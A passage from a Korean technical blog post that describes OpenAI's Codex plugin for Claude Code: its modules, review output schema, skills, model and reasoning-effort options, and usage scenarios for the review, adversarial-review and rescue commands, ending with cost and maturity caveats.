&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;역할&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://raw.githubusercontent.com/openai/codex-plugin-cc/main/plugins/codex/scripts/lib/app-server.mjs&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;app-server.mjs&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;CodexAppServerClient &amp;mdash; 직접 스폰(Spawned)과 브로커 소켓(Broker) 두 전략으로 JSON-RPC 통신&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://raw.githubusercontent.com/openai/codex-plugin-cc/main/plugins/codex/scripts/lib/broker-lifecycle.mjs&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;broker-lifecycle.mjs&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;브로커 프로세스 생성, 연결 검증, 종료, 세션 상태 관리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://raw.githubusercontent.com/openai/codex-plugin-cc/main/plugins/codex/scripts/lib/state.mjs&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;state.mjs&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;파일 시스템 기반 작업 상태 관리 (MAX_JOBS=50, 워크스페이스별 SHA-256 해시 디렉토리)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://raw.githubusercontent.com/openai/codex-plugin-cc/main/plugins/codex/scripts/lib/job-control.mjs&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;job-control.mjs&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;작업 조회, 정렬, 상태 스냅샷, 진행 미리보기, 취소 대상 해석&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;args.mjs&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;CLI 인자 파싱&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;broker-endpoint.mjs&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;브로커 엔드포인트 URL 관리 및 연결 주소 해석&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;codex.mjs&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Codex CLI 래핑 및 호출 인터페이스&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;fs.mjs&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;파일 시스템 유틸리티 (경로 해석, 파일 읽기/쓰기)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;git.mjs&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Git 관련 유틸리티&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;process.mjs&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;자식 프로세스 생성 및 생명주기 관리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;render.mjs&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;출력 렌더링&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;prompts.mjs&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;프롬프트 구성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;tracked-jobs.mjs&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;작업 추적 및 이력 관리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;workspace.mjs&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;워크스페이스 경로 해석 및 디렉토리 관리&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;codex-rescue 서브에이전트&lt;/h3&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;rescue 에이전트는 Codex companion task 런타임의 포워딩 래퍼다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;에이전트의 역할은 &quot;사용자의 rescue 요청을 Codex companion 스크립트에 전달하는 것&quot;이다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;기본적으로 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--write&lt;/code&gt; 모드로 실행되며, 사용자가 read-only를 명시적으로 요청한 경우에만 제외한다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;리뷰 출력 스키마 (review-output.schema.json)&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2624&quot; data-origin-height=&quot;1432&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/L7G8S/dJMb990bEYY/eKgCuSBR9uOoQm9fSm4zgk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/L7G8S/dJMb990bEYY/eKgCuSBR9uOoQm9fSm4zgk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/L7G8S/dJMb990bEYY/eKgCuSBR9uOoQm9fSm4zgk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FL7G8S%2FdJMb990bEYY%2FeKgCuSBR9uOoQm9fSm4zgk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2624&quot; height=&quot;1432&quot; data-origin-width=&quot;2624&quot; data-origin-height=&quot;1432&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;pre class=&quot;json&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;json&quot;&gt;&lt;code&gt;{
  &quot;verdict&quot;: &quot;approve | needs-attention&quot;,
  &quot;summary&quot;: &quot;...&quot;,
  &quot;findings&quot;: [
    {
      &quot;severity&quot;: &quot;...&quot;,
      &quot;title&quot;: &quot;...&quot;,
      &quot;body&quot;: &quot;...&quot;,
      &quot;file&quot;: &quot;...&quot;,
      &quot;line_start&quot;: 0,
      &quot;line_end&quot;: 0,
      &quot;confidence&quot;: &quot;...&quot;,
      &quot;recommendation&quot;: &quot;...&quot;
    }
  ],
  &quot;next_steps&quot;: [&quot;...&quot;]
}&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;verdict는 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;approve&lt;/code&gt; 또는 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;needs-attention&lt;/code&gt; 두 값이며,&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;각 finding에는 severity, title, body, file, line_start, line_end, confidence, recommendation이 포함된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;스킬 3개&lt;/h3&gt;
&lt;ul style=&quot;margin: 10px 0; padding-left: 25px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;b&gt;codex-cli-runtime&lt;/b&gt; &amp;mdash; Codex CLI 런타임 통합&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;b&gt;codex-result-handling&lt;/b&gt; &amp;mdash; Codex 출력의 표시 규칙 정의. 리뷰 결과 후 자동 코드 수정을 금지한다. (&quot;After presenting review findings, STOP. Do not make any code changes.&quot;)&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;b&gt;gpt-5-4-prompting&lt;/b&gt; &amp;mdash; Codex/GPT-5.4에 최적화된 프롬프트 작성 가이드라인. Codex를 &quot;협업자가 아닌 오퍼레이터처럼&quot; 다루고, XML 태그를 사용한 블록 구조의 컴팩트 프롬프트를 권장한다&lt;/li&gt;
&lt;/ul&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 30px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 6 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 활용법 / 통합 방법&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Codex config.toml 연동&lt;/h3&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;기본 모델과 reasoning effort는 Codex의 사용자 레벨 또는 프로젝트 레벨 config.toml에서 커스터마이징할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;명령어에서 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--model&lt;/code&gt;이나 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--effort&lt;/code&gt;로 오버라이드하는 것도 가능하다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;모델 선택&lt;/h3&gt;
&lt;ul style=&quot;margin: 10px 0; padding-left: 25px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;기본 모델: config.toml 설정에 따름&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--model spark&lt;/code&gt; &amp;rarr; &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;gpt-5.3-codex-spark&lt;/code&gt;으로 매핑 (가벼운 작업에 적합)&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--model gpt-5.4-mini&lt;/code&gt; &amp;rarr; 직접 지정 예시. 비용을 절감하면서 중간 수준의 리뷰 품질이 필요할 때 적합하다. 예: &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/codex:review --model gpt-5.4-mini --base main&lt;/code&gt;&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--model &amp;lt;모델명&amp;gt;&lt;/code&gt; &amp;rarr; 직접 지정. &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;MODEL_ALIASES&lt;/code&gt;에 등록되지 않은 모델명은 그대로 Codex API에 전달된다&amp;nbsp;&amp;mdash; &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;MODEL_ALIASES.get(model) ?? model&lt;/code&gt; 로직).&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;--effort 옵션 (reasoning effort)&lt;/h3&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;6단계 설정이 가능하다: &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;none&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;minimal&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;low&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;medium&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;high&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;xhigh&lt;/code&gt;. 간단한 작업에는 낮은 effort, 복잡한 분석에는 높은 effort를 지정하여 비용과 품질을 조절한다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;background vs foreground 실행 전략&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2022&quot; data-origin-height=&quot;1084&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cFWAHy/dJMcagkE6kk/EnoeEGFhSuvDeNRy6YGhKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cFWAHy/dJMcagkE6kk/EnoeEGFhSuvDeNRy6YGhKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cFWAHy/dJMcagkE6kk/EnoeEGFhSuvDeNRy6YGhKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcFWAHy%2FdJMcagkE6kk%2FEnoeEGFhSuvDeNRy6YGhKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2022&quot; height=&quot;1084&quot; data-origin-width=&quot;2022&quot; data-origin-height=&quot;1084&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;ul style=&quot;margin: 10px 0; padding-left: 25px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;b&gt;foreground (&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--wait&lt;/code&gt;)&lt;/b&gt; &amp;mdash; 1~2개 파일의 작은 리뷰에 적합. 결과를 즉시 확인할 수 있다.&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;b&gt;background (기본 또는 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--background&lt;/code&gt;)&lt;/b&gt; &amp;mdash; 대규모 변경에 적합. detached child process로 실행되며, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/codex:status&lt;/code&gt;로 진행 상황을 확인하고 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/codex:result&lt;/code&gt;로 결과를 조회한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 30px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 7 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7.&amp;nbsp; 사용 예시&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오 1: PR 머지 전 코드 리뷰&lt;/h3&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# main 브랜치 대비 리뷰 (background)
/codex:review --base main --background

# 잠시 후 상태 확인
/codex:status

# 결과 확인
/codex:result&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;review는 read-only이므로 코드를 수정하지 않는다. 리뷰 결과의 verdict가 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;needs-attention&lt;/code&gt;이면 findings를 확인하고 직접 수정한다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오 2: 버그 조사 및 수정 위임&lt;/h3&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# Codex에 버그 조사 + 수정 위임 (write 모드 기본)
/codex:rescue &quot;auth 모듈에서 토큰 갱신 실패 원인 조사 후 수정&quot;

# 결과 확인
/codex:result&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;rescue는 기본 write 모드이므로 Codex가 직접 코드를 수정한다. &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--resume&lt;/code&gt; 옵션으로 이전 작업에 이어서 추가 작업을 위임할 수도 있다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오 3: adversarial-review로 아키텍처 검증 (포커스 텍스트 활용)&lt;/h3&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 특정 기능 흐름을 포커스 텍스트로 지정하여 집중 검증
# 포커스 영역에 가중치를 두되 7개 공격 면 전체도 함께 검토함
/codex:adversarial-review --base HEAD~2 Cohort 등록/수정 모달의 상태 관리와 API 호출 흐름

# 포커스 없이 전체 균등 검토 (대규모 변경은 --background 권장)
/codex:adversarial-review --background&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;adversarial-review는 인증/권한, 데이터 손실, 롤백 안전성, 레이스 컨디션, 빈 상태/타임아웃, 버전 스큐, 관찰성 갭 등 7개 공격 면을 기준으로 설계를 공격적으로 질문한다. 아키텍처 변경이나 보안 민감 코드에 특히 유용하다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;포커스 텍스트를 지정하면 Codex가 해당 영역의 파일을 우선 탐색한다. 실제 테스트 결과, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--base HEAD~2 Cohort 등록/수정 모달의 상태 관리와 API 호출 흐름&lt;/code&gt;을 지정했을 때 Codex는 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;CohortRegistModal.tsx&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;cohort.api.ts&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;cohortRegMng/index.tsx&lt;/code&gt;를 집중 분석하여 수정 경로 dead code, manager 스코프 누락, mock 저장 후 false success 등 high 3건 + medium 1건을 검출했다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오 4: rescue &amp;rarr; resume 연속 작업&lt;/h3&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 1차 위임
/codex:rescue &quot;DB 마이그레이션 스크립트 작성&quot;

# 결과 확인 후 추가 작업 이어하기
/codex:rescue --resume &quot;인덱스 추가도 포함해서 마무리&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--resume&lt;/code&gt;을 사용하면 이전 Codex 세션의 컨텍스트를 유지하면서 후속 작업을 위임한다. &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--fresh&lt;/code&gt;는 반대로 새 세션으로 시작한다.&lt;/p&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 30px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 8 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 제한사항 및 주의사항&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2022&quot; data-origin-height=&quot;1096&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/damz0J/dJMcaiCL9wx/1MRfkJf6YLL3KqSaiKRs0k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/damz0J/dJMcaiCL9wx/1MRfkJf6YLL3KqSaiKRs0k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/damz0J/dJMcaiCL9wx/1MRfkJf6YLL3KqSaiKRs0k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdamz0J%2FdJMcaiCL9wx%2F1MRfkJf6YLL3KqSaiKRs0k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2022&quot; height=&quot;1096&quot; data-origin-width=&quot;2022&quot; data-origin-height=&quot;1096&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;이중 구독 비용&lt;/h3&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;ChatGPT 구독 또는 OpenAI API 키가 필요하며, 사용량은 Codex 한도에 포함된다. Claude Code 구독(Anthropic)과 별도이므로 &lt;b&gt;두 벤더에 이중 비용이 발생한다&lt;/b&gt;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;초기 단계 프로젝트&lt;/h3&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;커밋 2개, 오픈 이슈 10여 개 (2026-03-31 GitHub API 기준, 변동 가능), 리포지토리 생성일 2026-03-30이다. 아직 극초기 단계이므로 프로덕션 의존은 신중해야 한다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
